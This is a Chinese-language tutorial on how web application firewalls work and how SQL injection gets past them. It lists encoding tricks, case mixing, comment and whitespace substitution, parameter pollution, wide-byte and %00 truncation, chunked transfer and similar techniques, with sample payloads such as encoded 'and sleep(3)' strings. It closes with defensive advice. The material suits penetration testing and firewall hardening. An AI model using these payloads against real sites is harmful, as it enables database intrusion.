WAF机制及绕过方法总结:注入篇
字数 1835 2025-08-15 21:30:23
WAF机制及SQL注入绕过方法详解
一、WAF基础概念
1. WAF定义
Web应用防火墙(Web Application Firewall)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。WAF集成检测规则,对请求内容进行检测并对不符合安全规则的请求作出防御处理。
2. WAF工作原理
WAF处理流程分为四个部分:
- 预处理:判断请求类型,检查URL白名单
- 规则检测:匹配内置检测规则体系
- 处理模块:执行阻断、记录或告警动作
- 日志记录:记录拦截处理日志
3. WAF分类
- 软WAF:软件形式安装(如安全狗、云锁、D盾)
- 硬WAF:硬件设备形式(如Imperva、天清WAG)
- 云WAF:云端服务(如阿里云云盾、腾讯云WAF)
- 自定义WAF:开发人员自写的防护规则
4. WAF部署方式
- 透明网桥
- 反向代理
- 镜像流量
- 路由代理
二、SQL注入WAF绕过技术
1. 编码绕过
前提:参数在进入查询前有解码操作
-
URL编码绕过:
$id = urldecode($id); // 解码操作示例:
%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32 -
二次URL编码绕过:
示例:%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32 -
其他编码:Unicode、Base64、Hex、ASCII等
2. 大小写转换
部分WAF只过滤全大写或全小写关键字:
sleep→sleeP/slEEpSELECT→SeLeCt
3. 空格过滤绕过
-
空白符替换:
- MySQL:
%09,%0A,%0B,%0C,%0D,%A0 - MSSQL:
%01-%20
- MySQL:
-
符号替换:
+号:1'+and+sleep(3)- 注释符:
/**/→1'/**/and/**/sleep(3)
4. 双关键字绕过
WAF只过滤一次关键字:
SLEsleepEP→ 过滤后变为sleepUNunionION→ 过滤后变为UNION
5. 内联注释绕过
MySQL特有语法:
/*!50001sleep(3)*/ // 50001表示MySQL版本>=5.00.01时执行
6. 请求方式差异
- GET方法被拦截 → 尝试POST方法
- 常规方法被拦截 → 尝试非常规HTTP方法(DigApis等)
7. 超大数据包
添加大量无用参数使内容超过WAF检测限制:
?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
8. 复参数绕过
WAF可能只处理第一个参数值:
?id=1&id=2+and+sleep(3) // 后端取最后一个id值
9. 添加%绕过
IIS的asp.dll会过滤%字符:
union s%e%lect → 解码后变为 union select
10. 协议未覆盖
尝试不同Content-Type:
- multipart/form-data
- application/x-www-form-urlencoded
- text/xml
- application/json
11. 宽字节注入(GBK编码)
%df%27 → 转义为 %df%5c%27 → 识别为宽字节+单引号
12. %00截断
WAF遇到%00可能停止检测:
?a=1%00.&id=1and sleep(3)
13. 非标准注入点
- Cookie注入
- X-Forwarded-For头注入
14. pipline绕过
利用keep-alive连接:
- 关闭Content-Length自动更新
- 修改Connection为keep-alive
- 在正常请求后附加攻击请求
15. 分块编码传输
设置Transfer-Encoding: chunked
16. 冷门函数/运算符
floor()→updatexml(),extractvalue()substring()→mid(),substr(),lpad(),rpad(),left()sleep()→benchmark()and/or→like
三、防御建议
- 多层次防御:不应仅依赖WAF,应在代码层面修复漏洞
- 规则更新:及时更新WAF规则库
- 输入验证:严格验证所有输入参数
- 输出编码:对输出数据进行适当编码
- 最小权限:数据库连接使用最小权限账户
- 错误处理:避免显示详细错误信息
四、总结
实际WAF绕过需要结合多种技术:
- 分析WAF检测规则
- 手工测试与fuzzing结合
- 多种方法组合使用
- 持续更新绕过技术库
通过理解WAF工作原理和检测机制,可以更有效地进行安全测试和防御加固。